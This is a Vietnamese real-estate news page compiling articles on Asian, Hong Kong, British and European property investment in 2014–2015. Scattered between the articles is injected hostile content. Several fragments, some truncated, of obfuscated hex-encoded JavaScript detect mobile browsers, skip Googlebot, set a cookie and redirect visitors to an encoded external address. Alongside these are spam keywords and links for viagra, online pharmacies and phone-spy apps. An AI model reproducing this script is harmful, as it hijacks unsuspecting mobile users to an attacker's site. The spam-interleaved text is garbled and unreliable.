bat dogn san chau a

Đầu tư vào bất động sản Châu Á tăng trưởng chậm

Theo CBRE, các nhà đầu tư châu Á chiếm gần 20% vốn đầu tư xuyên biên giới toàn cầu trong nửa đầu năm 2015, tương đương với 19 tỷ USD

Top 3 quốc gia, vùng lãnh thổ có vốn đầu tư ra ngoài khu vực châu Á là Trung Quốc (trị giá 6,6 tỷ USD), Singapore (4,4 tỷ USD) và Hồng Kông (2,2 tỷ USD).

Trong các nguồn vốn đầu tư toàn cầu, bao gồm cả Canada và các nhà đầu tư từ Trung Đông, châu Á được đặc biệt chú ý bởi phạm vi, tốc độ và tác động lâu dài, tiềm năng do các thay đổi về mặt pháp lý gần đây tại các thị trường trong nước.

Theo ông Richard Kirke – Giám đốc CBRE Thị trường vốn châu Á – Thái Bình Dương cho biết, chủ yếu nhờ sự thúc đẩy của các tổ chức đầu tư châu Á đang phân bổ vào bất động sản, tạo điều kiện bãi bỏ quy định đang được áp dụng tại nhiều thị trường trong nước. Đặc biệt đáng chú ý là các quỹ hưu trí Nhật Bản có giá trị hơn 1,8 tỷ USD, dự kiến sẽ tăng phân bổ bất động sản toàn cầu phù hợp với xu hướng quốc tế.

bat dogn san chau a

Bất động sản Châu Á tăng trưởng chậm

Ông cho biết thêm, xu hướng tăng trưởng mạnh của số người có thu nhập cá nhân trên 1 triệu USD (HNWI) ở khu vực châu Á. Phân bổ đầu tư bất động sản ở nước ngoài của những cá nhân này ở trên mức trung bình so với các cá nhân HNWI trên toàn thế giới, đây là động lực không thể phủ nhận được trong sự phát triển của các dự án bất động sản đầu tư ở nước ngoài.

Trong khi đầu tư tại Mỹ và EMEA tăng trong nửa đầu năm 2015, mức đầu tư ở khu vực châu Á – Thái Bình Dương phản ánh sự sụt giảm so với cùng kỳ. Sau sự phục hồi mạnh mẽ từ cuộc khủng hoảng tài chính toàn cầu (GFC), suy thoái hiện nay trong hoạt động thị trường có thể là do biến động thị trường tài chính rộng lớn và tâm lý nhà đầu tư không chắc chắn ở Trung Quốc.

Yếu tố tiền tệ như tỷ giá hối đoái trong nước yếu đi và đồng USD mạnh cũng đã nhấn mạnh sự sụt giảm các hoạt động ở châu Á – Thái Bình Dương, đặc biệt là khi đồng USD tăng giá so vói nhiều đồng tiền trong khu vực như Australia, Nhật Bản và Hàn Quốc.

Tiến sĩ Henry Chin, Trưởng Phòng Nghiên cứu CBRE châu Á – Thái Bình Dương cho biết, sự suy giảm kinh tế gần đây ở châu Á đã dẫn đến Trung Quốc, Singapore và Hàn Quốc giảm vị trí trong top 20 thị trường hàng đầu nửa đầu năm 2015. Điều này cho thấy, bất chấp những biến động gần đây ở Trung Quốc, đây vẫn là một trong những nguồn vốn đầu tư ra nước ngoài lớn nhất thế giới trong nửa đầu năm 2015 với giá trị 6,6 tỷ USD, chỉ xếp sau Mỹ, Canada và Đức.

baoxaydung.com.vn canada customs viagra

E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}twitter spy, best spy iphone app, how to spy on text for free

bat dong san the gioi

Lạc vào thị trường bất động sản cao cấp đắt nhất thế giới

Hồng Kông được xem là thị trường bất động sản cao cấp đắt nhất thế giới, đắt hơn 61% so với thành phố đứng thứ hai là London.

Theo một kết quả nghiên cứu mới, giá bán lại điển hình của một căn hộ cao cấp ở Hồng Kông là 4,5 triệu USD, đắt hơn 45% so với thành phố London với 3,1 triệu USD và đắt hơn 55% so với thành phố Paris, nơi mà có mức giá điển hình là 2,5 triệu USD. Theo đó, Hồng Kông được xem là thị trường bất động sản cao cấp đắt nhất thế giới.
Kết quả phân tích của công ty bất động sản quốc tế Savills chỉ ra, các thị trường bất động sản cao cấp khác hàng đầu thế giới là Singapore với mức giá trung bình là 2,3 triệu USD, New York với 2,1 triệu USD và Thượng Hải với 2 triệu USD.
bat dong san the gioi

Bất động sản Hồng Công đắt nhất thế giới

Thành phố Dubai thuộc top thị trường bất động sản lớn thứ hai trên thế giới với mức giá từ 1 triệu USD đến 2 triệu USD. Ở Dubai, hai căn hộ cao cấp có giường trị giá 1,9 triệu USD nhưng tính trên mỗi foot vuông có giá là 800 USD.
Savills cho biết có thể tìm thấy những căn hộ có mức giá tương xứng như vậy ở Milan, Sydney, Venice và LOS ANGELES – nơi có tiêu chuẩn không gian lớn hơn, do đó giá bán trên mỗi foot vuông còn 650 USD.

crestor generic offshore pharmacy

Ngược lại, căn hộ điển hình hai giường như vậy ở San Francisco chỉ có giá 1,35 triệu USD nhưng theo tiêu chuẩn không gian nhỏ hơn, có nghĩa là giá cao hơn khi tính theo đơn vị diện tích.
Thành phố Geneva cũng bắt đầu cạnh tranh với các thành phố top đầu dựa trên cơ sở diện tích sàn, vì những lý do tương tự.
Một số khu du lịch hàng đầu thế giới đang cạnh tranh với các thành phố trên về giá bán cơ sở theo diện tích cho mỗi foot vuông. Ví dụ, biệt thự 4 phòng ngủ tại khu du lịch núi Alps, Thụy Sỹ và Riviera, Pháp hiện đang có giá đắt hơn các căn hộ cao cấp tại Paris, Singapore và New York.
Khu du lịch núi Alps, Thụy Sỹ là một vị trí đắt nhất để mua một khu bất động sản làm khu vui chơi giải trí. Một ngôi biệt thự nhỏ gồm 4 phòng ở đây sẽ có mức giá điển hình là 4,5 triệu USD, tiếp theo là khu Riviera của Pháp với 3,75 triệu USD cho một khu bất động sản có vị trí đẹp.
Thành phố Algarve được xem là nhóm thị trường bất động sản đắt thứ 3 thế giới với hơn 3 triệu USD, rẻ hơn những khu biệt thự điển hình có diện tích lớn hơn ở khu du lịch núi Alps, Thụy Sỹ và Riviera, Pháp.
motthegioi.vn

lazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}spy software, phone parental monitoring, spy apps

bat dong san Anh

Bất động sản Anh “hút” giới siêu giàu

Báo cáo của tổ chức tư vấn tái định cư Lio Global và Công ty Tư vấn quốc tế New World Wealth vừa được công bố mới đây đã cho biết, vượt lên trên thứ hạng của Hồng Kông, Úc, Singapore và Mỹ, hiện điểm đến số 1 thế giới dành cho giới siêu giàu đang thuộc về Vương quốc Anh.

Theo những kết quả tổng kết từ cuộc khảo sát trên, giới siêu giàu trên khắp thế giới, không kể màu da, quốc tịch, đều muốn được trở thành công dân nước Anh, đặc biệt là các đại gia đến từ Ấn Độ, Trung Quốc và Nga. Và thủ đô London là khu vực được ưu tiên hàng đầu trong đó. Những nguyên nhân chính lý giải cho việc vì sao đất nước này lại trở nên đắt khách như vậy bao gồm 3 điểm đáng lưu ý sau.

Trước hết, hệ thống giáo dục cùng các trường đại học tại Anh từ lâu vẫn được đánh giá là có chất lượng hàng đầu thế giới. Lý do thứ 2, vương quốc này tạo được 2 yếu tố lý tưởng và vô cùng thuận lợi cho các nhà đầu tư nước ngoài muốn mở rộng kinh doanh đó là dễ chuyển tiền và dễ mua BĐS. Sau cùng, khi trở thành công dân Anh, bạn sẽ có thể di chuyển tự do trong các nước thuộc cộng đồng liên minh Châu Âu (EU).

Tính từ thời điểm năm 2000 cho đến năm 2014 vừa qua, số người siêu giàu đã định cư ở Anh đã lên tới 125.000 người và phần đông trong số họ đều đến từ Trung Quốc, các nước Đông Âu, châu Phi và Ấn Độ.

Theo Lio Global và New World Wealth, bùng nố từ những năm 2000, làn sóng giới siêu giàu tìm kiếm quốc tịch thứ 2 của mình đều hướng tới mục đích “lấp” đầy hầu bao của bản thân.

Người đứng đầu LIO Global, bà Nadia Read đã giải thích, việc tìm kiếm quốc tịch thứ 2 hoặc nộp đơn xin cứ trú của những người giàu đề nhằm mục đích đảm bảo an ninh, tài sản cho gia đình cũng như quyền tự do di chuyển. Theo bà Read, “hầu hết nhà đầu tư nhắm đến Liên minh châu Âu (EU), đặc biệt Cyprus và Malta rất được ưa chuộng bởi 2 quốc gia này cấp quốc tịch trực tiếp mà không cần chờ đợi hoặc phải có thời gian cư trú”.

bat dong san Anh

Một trong những căn biệt thự siêu sang tại Vương Quốc Anh

Bên cạnh đó, giới siêu giàu cũng nhắm đến Hungary và Bồ Đào Nha vì những chương trình hấp dẫn của hai quốc gia này. Nếu Hungary có chương trình Trái phiếu cư trú (RB) thì Bồ Đào Nha cũng nổi tiếng với chương trình Thị thực cư trú Vàng (GRV). So với Malta và Cyprus, sẽ đơn giản hơn rất nhiều khi chỉ cần chi ra một khoản đầu tư nhỏ là có thể được trao quyền công dân ngay. Không những vậy, Caribbean cũng là một trong những khu vực gây được nhiều sự chú ý gần đây bởi nước này  có thể cấp quốc tịch chỉ trong khoảng thời gian nửa năm.

Báo cáo của Lio Global và New World Wealth cũng chỉ ra rằng, trên thế giới, Ấn Độ và Trung Quốc là 2 quốc gia “chảy máu” triệu phú nhiều nhất nếu tính riêng trong giai đoạn 2000-2014. Trong khi số triệu phú của Bắc Kinh “lọt sàng” đã lên tới con số 91.000 triệu phú (chủ yếu rời sang Hồng Kông và Singapore) thì  61.000 triệu phú của New Delhi cũng “đi mất” (đa phần đến Các Tiểu Vương quốc Ả Rập Thống nhất và Úc).

Các quốc gia thuộc Top 8 có lượng người giàu “lọt sàng” nhiều nhất còn gồm: Pháp với 42.000 người, Italia với 23.000 người, Nga với 20.000 người, Indonesia với 12.000 người, Nam Phi với 8.000 người và Ai Cập với 7.000 người.

nếu xét chung trên phạm vi toàn thế giới, đất nước có nhiều người giàu nhất đến năm 2014 vẫn là Mỹ với 4,1 triệu phú, theo sau đó là Nhật Bản với 1,3 triệu phú và Anh quốc với 840.000 triệu phú. Dẫu mất nhiều triệu phú nhưng Trung Quốc vẫn đứng thứ 5 và Ấn Độ nắm giữ vị trí thứ 10 trong bảng xếp hạng, bên cạnh đó, 2 quốc gia này còn có dân số chiếm 1/3 dân số trên toàn cầu.

Thông qua bất động sản để rửa tiền

Thực trạng thông qua thị trường nhà đất ở thủ đô London để tiến hành rửa tiền của tội phạm nước ngoài đã khiến giá nhà ngày một tăng cao và vừa được Cơ quan chống tội phạm quốc gia Anh (NCA) rung hồi chuông báo động. Trao đổi với nhật báo The Times (Anh quốc), phụ trách đơn vị chống tội phạm kinh tế tại NCA, ông Donald Toon cho biết: “Giá đang được đẩy lên cao một cách giả tạo bởi bọn tội phạm ở nước ngoài, những người muốn sở hữu bất động sản ở Anh”.

Những ý kiến đánh giá trên được nêu ra trong thời điểm ngày càng có thêm nhiều người hoang mang về việc bọn quan tham nước ngoài, tội phạm bỏ hàng tỉ bảng Anh thông qua các công ty nặc danh làm bình phong để mua BĐS ở London, cùng với đó là đặt trụ sở tại những “thiên đường trốn thuế”. Dẫn lời một số chuyên gia, Báo The Guardian cho rằng thủ đô London hiện đang là trung tâm của hoạt động rửa tiền toàn cầu.

Trong tháng 7, cuộc điều tra do kênh truyền hình Channel 4 của Anh thực hiện cũng đã tìm ra việc nhắm mắt làm ngơ của rất nhiều đại lý BĐS ở Anh trước hành động rửa tiền của khách hàng ngoại quốc. Không những vậy, các thương vụ bí mật mua nhà trị giá tới hàng triệu bảng Anh tại London còn được một vài đại lý đem ra khoe khoang. Cũng không thiếu các trường hợp, những công ty luật chấp nhận giúp che giấu danh tính cho người mua cũng được các đại lý giới thiệu. Thông tin từ một đại lý cho biết, số giao dịch của họ với khách nước ngoài chiếm tới 80% so với tổng số giao dịch và phần lớn trong đó đều là nặc danh.

)(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}http://estherdereu.com/kik-spy-gps-cell-phone-how-to-spy-on-text-for-free/

Bất động sản châu Âu trở thành điểm hấp dẫn trong năm 2015

Bất động sản châu Âu trở thành điểm hấp dẫn trong năm 2015

Trong một nghiên cứu vừa được phát hành dự báo năm 2015, châu Âu sẽ tiếp tục trở thành điểm hấp dẫn cho các nguồn đầu tư bất động sản.

Nhận định được đưa ra là vì Ngân hàng Trung ương châu Âu (ECB) sẽ triển khai Chương trình nới lỏng định lượng và lãi suất vay cũng thấp do đồng Euro mất giá so với các ngoại tệ khác.

teva prednisone

Tổng lượng vốn đầu tư được khảo sát tại các quốc gia châu Âu như: Bỉ, Phần Lan, Pháp, Đức, Hy Lạp, Ai-Len, Ý, Hà Lan, Na-Uy, Ba Lan, Bồ Đào Nha, Tây Ban Nha, Thụy Điển và Anh có thể lên đến 210 tỷ euro vào cuối năm 2015, tăng 5-10% trên tổng lượng giao dịch của năm 2014 là 199,3 tỷ euro. Đồng thời, đơn vị này cũng đưa dự đoán về lượng đầu tư trong quý I/2015 sẽ là khoảng 38 tỷ tỷ euro, tương đương với cùng kỳ năm ngoái.

Theo nhận định, các thị trường trọng điểm của châu Âu như Pháp, Đức, và Anh sẽ tiếp tục hấp thụ phần lớn các nguồn đầu tư xuyên quốc gia với tổng lượng đầu tư ghi nhận tăng đạt mức 38%, 28%, và 16% tương ứng. Tuy nhiên, số lượng tăng trưởng tại các thị trường ngoại vi của Tây Ban Nha và Ai-Len lại đạt con số vượt bậc với 194% và 132% tương ứng.

Bất động sản châu Âu trở thành điểm hấp dẫn trong năm 2015

Châu Âu sẽ trở thành thị trường bất động sản hấp dẫn trong năm 2015.

Sự tăng trưởng vượt bậc trên chủ yếu là nhờ vào sự chuyển nhượng bất động sản của quỹ phát triển tài sản công của NAMA (Cơ quan quản lý tài sản quốc gia) tại Ai-Len và SAREB (Ngân hàng xử lý nợ xấu) tại Tây Ban Nha. Hoạt động đầu tư ở khu vực Bắc Âu cũng có sự tăng trưởng mạnh với nguồn vốn chủ yếu là nội địa, trong đó, Thụy Điển tăng 80%, Na Uy tăng 62%, Phần Lan tăng 58%. Quốc gia duy nhất thuộc khu vực được khảo sát có sự sụt giảm là Ba Lan với khoảng 9%.

Trong năm 2015, nguồn đầu tư công nghiệp tại châu Âu có thể tăng thêm 13% do phân khúc này tiếp tục thích nghi với các xu hướng bán lẻ trên mạng. Lượng đầu tư cho phân khúc văn phòng chiếm số lượng cao nhất với 51%, phân khúc bán lẻ lại sụt giảm so với những năm trước, chiếm 25%.

Ngoài ra, theo cũng dự đoán, khoảng cách về tỷ suất lợi nhuận giữa thị trường trọng điểm và thị trường ngoại vi trong năm 2015 sẽ được thu hẹp hơn. Trong năm 2014, tỷ suất lợi nhuận của văn phòng tại các khu vực ngoài trung tâm đã giảm 36 điểm cơ bản, trong khi đó, nhu cầu sở hữu các tài sản ngoài trung tâm lại có xu hướng tăng lên, dẫn đến khoảng cách tỷ suất lợi nhuận giữa 2 thị trường này được thu hẹp hơn, với tỷ suất công nghiệp trung bình giảm xuống còn 6,87%, giảm 40 điểm cơ bản so với năm 2013.

Giám đốc Bộ phận Nghiên cứu Thị trường bất động sản tại châu Âu  cho biết thêm: “Mức giá cạnh tranh trong các phân khúc trọng điểm cũng như việc thiếu nguồn cung sẽ giúp thu hút sự quan tâm của các nhà đầu tư tại các thị trường ngoại vi và các tài sản thứ cấp ở thị trường trung tâm. Điều này sẽ khiến cho tỷ suất lợi nhuận tiếp tục thu hẹp lại và ngoài ra, chúng tôi dự đoán rằng sẽ nhìn thấy một số công ty bắt đầu xem xét đến những chiến lược bán một phần nhằm thu về lợi nhuận do sự chênh lệch về giá. Điều này có thể mang những cơ hội tốt cho thị trường và sẽ góp phần đẩy mạnh nhu cầu từ phía các nhà đầu tư mong muốn bắt kịp chu kỳ của thị trường.”

Nguồn: cafeland

Đầu tư vào bất động sản châu Á - Thái Bình Dương sẽ tăng 5%

Đầu tư vào bất động sản châu Á – Thái Bình Dương sẽ tăng 5%

Giá năng lượng được điều chỉnh khiến sự cần thiết trong việc tăng lãi suất cho vay ngắn hạn được giảm bớt, hứa hẹn thúc đẩy đầu tư vào bất động sản châu Á – Thái Bình Dương có thể đạt 118 tỷ USD trong năm 2015, tăng 5% so với năm ngoái.

Ở thị trường văn phòng, bán lẻ và ngành công nghiệp, giá cho thuê và giá trị vốn ước tính sẽ tăng trưởng 2-4%. Chiến thuật của các nhà đầu tư cũng được đơn vị này khuyến khích thay đổi, nhắm vào các lĩnh vực đang cơ cấu từ trung đến dài hạn như: sự gia tăng của tầng lớp trung lưu châu Á, đô thị hóa, sự bùng nổ trong thương mại điện tử và sự phát triển du lịch trong khu vực.

Theo nhận định, Nhật và Australia sẽ tiếp tục được dẫn dắt hoạt động đầu tư của thị trường trong năm 2015. Nhật là đơn vị cung cấp lợi nhuận cao trong cả chi phí đi vay và có sự hồi phục ở thị trường cho thuê. Lợi nhuận mà Australia cung cấp hấp dẫn hơn so với các thị trường khác trong khu vực, bên cạnh đó, thị trường cho thuê ổn định đã cho phép các nhà đầu tư tự tin hơn để đầu tư vào chứng khoán thứ cấp.

Đầu tư vào bất động sản châu Á - Thái Bình Dương sẽ tăng 5%

Trong năm 2015, đầu tư vào bất động sản châu Á – Thái Bình Dương có thể đạt 118 tỷ USD

Các nhà đầu tư cần xây dựng kế hoạch đầu tư một cách đa dạng hơn về mặt địa lý tại thị trường châu Á Thái Bình Dương. Hàn Quốc và New Zealand là những nền kinh tế được cho là mang đến lợi nhuận cao hơn sẽ được các nhà đầu tư quốc tế chú trọng.

Bên cạnh việc mở rộng phạm vi địa lý, các nhà đầu tư cũng sẽ chủ động trong việc tìm kiếm đối tác liên doanh, M&A và thanh lý các quỹ mãn hạn. Trước thực tế lãi suất thấp, sức tăng trưởng kinh tế toàn cầu yếu kém sẽ thúc đẩy các nhà đầu tư mở rộng tìm kiếm đến các thị trường mang lại lợi nhuận cao, hoặc tìm đến các lĩnh vực khác như: cơ sở vật chất kho bãi, chỗ ở sinh viên và nhà ở cao cấp.

Thị trường bất động sản khu vực châu Á – Thái Bình Dương trong năm 2015 sẽ có 3 xu hướng chủ đạo. Cụ thể:

Xu hướng đầu tiên: Đà tăng trưởng đầu tư mạnh vẫn tiếp tục. Dẫn dắt hoạt động bất động sản trong cả khu vực là các tổ chức đầu tư và các quỹ bất động sản mới thành lập, còn các tập đoàn lớn sẽ tìm kiếm cơ hội trong việc tích lũy tài sản bất động sản để tự sử dụng.

Xu hướng 2: Để mở rộng các lĩnh vực hoạt động toàn cầu của mình, tổ chức đầu tư quốc tế sẽ tiếp tục đầu tư vào thị trường châu Á – Thái Bình Dương. Nguồn đầu tư của các tổ chức đầu tư châu Á, đặc biệt các công ty bảo hiểm và quỹ hưu trí vào bất động sản sẽ tăng.

Xu hướng 3: Quỹ đầu tư bất động sản tư nhân mới nổi sẽ có nhu cầu rất lớn. Trong khoảng 1-2 năm tới, các quỹ mới thành lập ở năm 2014 có trị giá gần 14 tỷ USD sẽ thiết lập để triển khai quỹ này. Song, vào năm 2015-2016, sẽ có khoảng 50 quỹ mãn hạn, đồng nghĩa với việc hoạt động chuyển nhượng quỹ vẫn tiếp tục.

Nguồn: vnexpress

Châu Á đầu tư nhà đất Pháp, Mỹ nhiều nhất

Châu Á đầu tư nhà đất Pháp, Mỹ nhiều nhất

Các nhà đầu tư bất động sản khu vực châu Á  bắt đầu đa dạng hóa các hạng mức đầu tư, đầu tư nhiều hơn vào khách sạn và khu công nghiệp…

Châu Á đầu tư nhà đất Pháp, Mỹ nhiều nhất

Châu Á đầu tư ra nước ngoài trong lĩnh vực bất động sản đạt mức 40 tỉ USD/năm. Nguồn: Internet

Ngày 10-3, tập đoàn tư vấn bất động sản Mỹ  chính thức công bố các số liệu tổng hợp phản ánh tình hình đầu tư ra nước ngoài trong lĩnh vực bất động sản của châu Á trong năm 2014.

Theo báo cáo của tập đoàn bất động sản Mỹ, châu Á đầu tư ra nước ngoài trong lĩnh vực bất động sản đã có một năm ấn tượng, đạt mức 40 tỉ USD, tăng 23% so với cùng kỳ năm trước.

flomax how long til it works

Các tập đoàn bảo hiểm từ Trung Quốc và các công ty bất động sản Trung Quốc tăng cường triển khai vốn đầu tư bất động sản là các hình thức đầu tư mới nổi của năm vừa qua.

Chiến lược đầu tư bắt đầu thay đổi khi các nhà đầu tư muốn thoát khỏi các thị trường cửa ngõ truyền thống. Năm 2013, 60% vốn đầu tư ra nước ngoài tập trung vào 5 điểm đến đầu tư toàn cầu, nhưng con số này đã giảm xuống còn 39% trong năm 2014. Nơi hưởng lợi của xu hướng này trong năm 2014 gồm Paris ở châu Âu và Los Angeles, San Francisco và Washington ở Mỹ.

Các nhà đầu tư bất động sản xuyên quốc gia tại khu vực châu Á cũng bắt đầu đa dạng hóa các hạng mức đầu tư, đầu tư nhiều hơn vào khách sạn và khu công nghiệp, trong khi văn phòng vẫn chiếm ưu thế đầu tư.

Dòng vốn đầu tư châu Á tiếp tục chảy mạnh vào khu vực châu Âu, Trung Đông và châu Phi, lên đến 13,7 tỉ USD, bằng với con số của năm 2013.

Đầu tư châu Á tại các khu vực khác có sự tăng trưởng đáng kể: Mỹ tăng 20% so với cùng kỳ năm trước, khu vực Thái Bình Dương tăng 33%, và tại châu Á là 58%. Tại châu Á, Nhật Bản là điểm đến hàng đầu của các nhà đầu tư.

Đầu tư ra nước ngoài cả năm 2014 vượt mức 2013, đây là năm thứ 2 liên tiếp khu vực này đạt mức cao kỉ lục.

Singapore vẫn giữ vững vị trí hàng đầu trong nguồn vốn đầu tư ra bên ngoài, hai vị trí liền kề phía sau thuộc về Trung Quốc và Hồng Kông, cả ba thị trường này đều cho thấy sự tăng trưởng trong nguồn vốn đầu tư ra nước ngoài.

Bên cạnh việc đầu tư trực tiếp, các quỹ đầu tư châu Á có thâm niên từ Hàn Quốc và Nhật Bản đang mở rộng mức độ ảnh hưởng thông qua các quỹ gián tiếp và hội giao dịch.

Các nguồn vốn như thế này sẽ tiếp tục tăng trưởng, nhưng sự xuất hiện của các dòng vốn đầu tư mới như các công ty bảo hiểm của Trung Quốc và Đài Loan sẽ để lại nhiều cột mốc quan trọng trên thị trường bất động sản toàn cầu trong một vài năm tới

Nguồn: Tuổi trẻ online

New York sắp "vượt mặt" London trong cuộc chiến thu hút giới siêu giàu

New York sắp “vượt mặt” London trong cuộc chiến thu hút giới siêu giàu

Cuộc tranh luận New York hay London mới là “thủ đô của thế giới” đã kéo dài nhiều năm với đa số ý kiến ủng hộ London. Tuy nhiên, theo báo cáo mới công bố của Knight Frank, New York đã sẵn sàng để trở thành thành phố có BĐS hấp dẫn nhất đối với giới siêu giàu trên thế giới.

